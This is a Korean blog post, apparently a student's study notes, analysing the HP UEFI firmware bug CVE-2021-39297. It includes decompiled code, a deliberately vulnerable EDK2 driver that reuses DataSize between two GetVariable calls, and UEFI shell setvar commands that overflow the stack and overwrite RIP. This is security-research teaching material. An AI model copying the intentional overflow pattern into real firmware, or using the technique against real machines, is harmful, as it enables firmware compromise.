CVE-2021-39297
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-39297
- CVSS v3.1 Score: 7.7 High
취약 코드
VendorGuid.Data1 = 0x8BE4DF61;
*&VendorGuid.Data2 = 0x11D293CA;
*VendorGuid.Data4 = 0xE0000DAA;
*&VendorGuid.Data4[4] = 0x8C2B0398;
Buffer = 0i64;
DataSize = 8i64; // data size only initialize once
if ( IsNotEqual(buf, g_buf) ) // False (buf = g_buf)
{
gBS_157B28->SetMem(&Buffer, 8ui64, 0);
sprintf_s(&Buffer, 8i64, "%a", vLang);
}
else if ( (gRT_157B30->GetVariable(L"PlatformLang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) == 0i64 )
{
WriteLog(L"PlatformLang reported as %a.\r\n", &Buffer);
}
else
{
// DataSize didn't change after the first GetVariable call which leads stack buffer overflow
if ( (gRT_157B30->GetVariable(L"Lang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) != 0i64 )
{
result = WriteLog(L"Unable to find Lang variable, defaulting to English.\r\n");
g_LangVarFound = 0i64;
return result;
}
WriteLog(L"Lang reported as %a.\r\n", &Buffer);
}
취약 코드를 세부적으로 분석해보면 아래와 같다.
DataSize = 8i64;
개발자는 Buffer가 8바이트 정도라고 생각하고 DataSize를 8로 초기화 했다.
else if ( (gRT_157B30->GetVariable(L"PlatformLang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) == 0i64 )
{
GetVariable을 통해 PlatformLang이라는 NVRAM 변수를 읽어오라고 요청했다. 이때 GetVariable 함수의 특성상 DataSize는 입/출력 파라미터다. 즉 들어갈 때는 버퍼 크기(8)를 의미하지만, 나올 때는 실제 변수의 데이터 크기로 업데이트되어 반환된다.
else
{
// DataSize didn't change after the first GetVariable call which leads stack buffer overflow
if ( (gRT_157B30->GetVariable(L"Lang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) != 0i64 )
{
문제는 그 이후 Lang 변수를 읽으려고 할 때 발생한다.개발자는 아마도 DataSize가 여전히 8바이트라고 생각하고 해당 코드를 작성했겠지만, 실제 DataSize 변수의 값은 앞서 PlatformLang을 읽을 때 늘어난 100바이트로 변경된 상태다.
따라서 GetVariable은 100바이트 크기의 데이터를 그대로 8바이트 크기의 Buffer에 쑤셔넣게 된다. 이 부분에서 스택 버퍼 오버플로우가 발생하게 된다.
정리: GetVariable을 두 번 호출하는데, 그 사이에 사이즈 변수인 DataSize를 재초기화하지 않아서 발생한 논리적 취약점이다.
실습
실습을 위해 실제 코드에서 HP 전용 GUID 등을 제외하고 표준 EDK2 환경에 맞춰 재작성하였다
1. DoubleGetVariable.c
#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/DebugLib.h>
EFI_GUID myGuid = { 0x12345678, 0x1234, 0x1234, { 0x12, 0x34, 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB } };
EFI_STATUS
EFIAPI
VulnerableDriverEntryPoint(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
EFI_STATUS Status;
UINT8 Buffer[16];
UINTN DataSize = sizeof(Buffer);
Status = gRT -> GetVariable(
L"FirstVar",
&myGuid,
NULL,
&DataSize,
Buffer
);
DEBUG((DEBUG_INFO, "First GetVariable DataSize Result: %d\n",(UINT32)DataSize));
Status = gRT-> GetVariable(
L"SecondVar",
&myGuid,
NULL,
&DataSize,
Buffer
);
return Status;
}
실제 코드와 마찬가지로 두 번의 GetVariable 호출 사이에 DataSize를 초기화하지 않았다.
2. DoubleGetVariable.inf
[Defines]
INF_VERSION = 0x00010005
BASE_NAME = DoubleGetVariable
FILE_GUID = 532863B2-8230-466D-9136-121544669866
MODULE_TYPE = DXE_DRIVER
VERSION_STRING = 1.0
ENTRY_POINT = VulnerableDriverEntryPoint
[Sources]
DoubleGetVariable.c
[Packages]
MdePkg/MdePkg.dec
MdeModulePkg/MdeModulePkg.dec
[LibraryClasses]
UefiDriverEntryPoint
UefiLib
UefiRuntimeServicesTableLib
DebugLib
BaseMemoryLib
[Depex]
TRUE
빌드 정보 파일은 위와 같이 설정했다. 이때 Depex는 이 드라이버가 의존하는 프로토콜이 없으므로, DXE Dispatcher가 드라이버를 발견하는 즉시 로드하고 실행하도록 TRUE로 설정해야 한다.
Step1. DataSize 오염
setvar FirstVar -guid 12345678-1234-1234-1234-1234567890AB -bs -rt -nv =41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
먼저 DataSize 오염용으로 FirstVar에 16바이트 크기의 버퍼보다 훨씬 큰 값을 넣었다.
Step2. 오버플로우 트리거용 SecondVar 생성
setvar SecondVar -guid 12345678-1234-1234-1234-1234567890AB -bs -rt -nv =41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
이어서 스택의 복귀 주소를 덮어쓰기 위해 SecondVar를 생성했다.

Step3. 드라이버 로드
fs0:
load DoubleGetVariable.efi
앞서 만든 드라이버를 로드하면 CPU 예외가 발생하며 시스템이 멈추는 것을 확인할 수 있다.

로그 상에서 RIP 레지스터가 414141로 변조된 것을 확인할 수 있고, 이는 SecondVar에 채운 A 값이 스택의 버퍼를 넘어 복귀 주소까지 정확히 덮어썼음을 보여준다.
결론
- 개발자가 버퍼와 데이터 사이즈를 초기화함
- 첫 번째 GetVariable 호출 이후 데이터 사이즈 변수(DataSize)의 값이 실제 변수 크기(100+)로 증가함
- 개발자가 이를 다시 초기화하지 않고 두 번째 GetVariable을 호출함
- UEFI 서비스는 증가된 DataSize만큼의 데이터를 16바이트 버퍼에 복사함
- 스택 버퍼 오버플로우 발생 및 실행 흐름 탈취
+
실제 해당 취약점(HP 펌웨어)은 컴파일러 최적화 등의 이슈로 Buffer가 현재 함수의 복귀 주소보다 더 높은 주소에 배치된 특이 케이스다. 그런데 메모리 쓰기는 낮은 주소에서 높은 주소로 진행되므로, Buffer에서 아무리 데이터를 쏟아부어도 구조상 내 뒤(낮은 주소)에 있는 현재 함수의 복귀 주소에는 도달할 수 없다. 따라서 Binarly는 Buffer에서 시작해 현재 함수의 스택 프레임을 지나쳐, 더 높은 주소에 위치한 부모 함수의 스택 프레임까지 넘치게 만드는 전략을 사용했다. 이를 통해 최종적으로 부모 함수의 복귀 주소를 덮어쓰는 방식으로 실행 흐름을 탈취한 것이다.
참고
https://github.com/binarly-io/Vulnerability-REsearch/blob/main/HP/BRLY-2021-003.md
Vulnerability-REsearch/HP/BRLY-2021-003.md at main · binarly-io/Vulnerability-REsearch
Binarly Vulnerability Research Advisories. Contribute to binarly-io/Vulnerability-REsearch development by creating an account on GitHub.
github.com
'CS > Graduation project' 카테고리의 다른 글
| CVE-2021-42059 분석 및 실습 (0) | 2026.02.19 |
|---|---|
| [UEFI] 기드라 스크립트 검증과 오탐 분석 (0) | 2026.02.19 |
| [UEFI] SetVariable() (0) | 2026.02.14 |
| [UEFI] 리눅스(WSL) 환경에서 EDK2 빌드 및 실행 (0) | 2026.02.14 |
| [UEFI] EDK2를 활용한 Stack Buffer Overflow 실습 (0) | 2026.02.02 |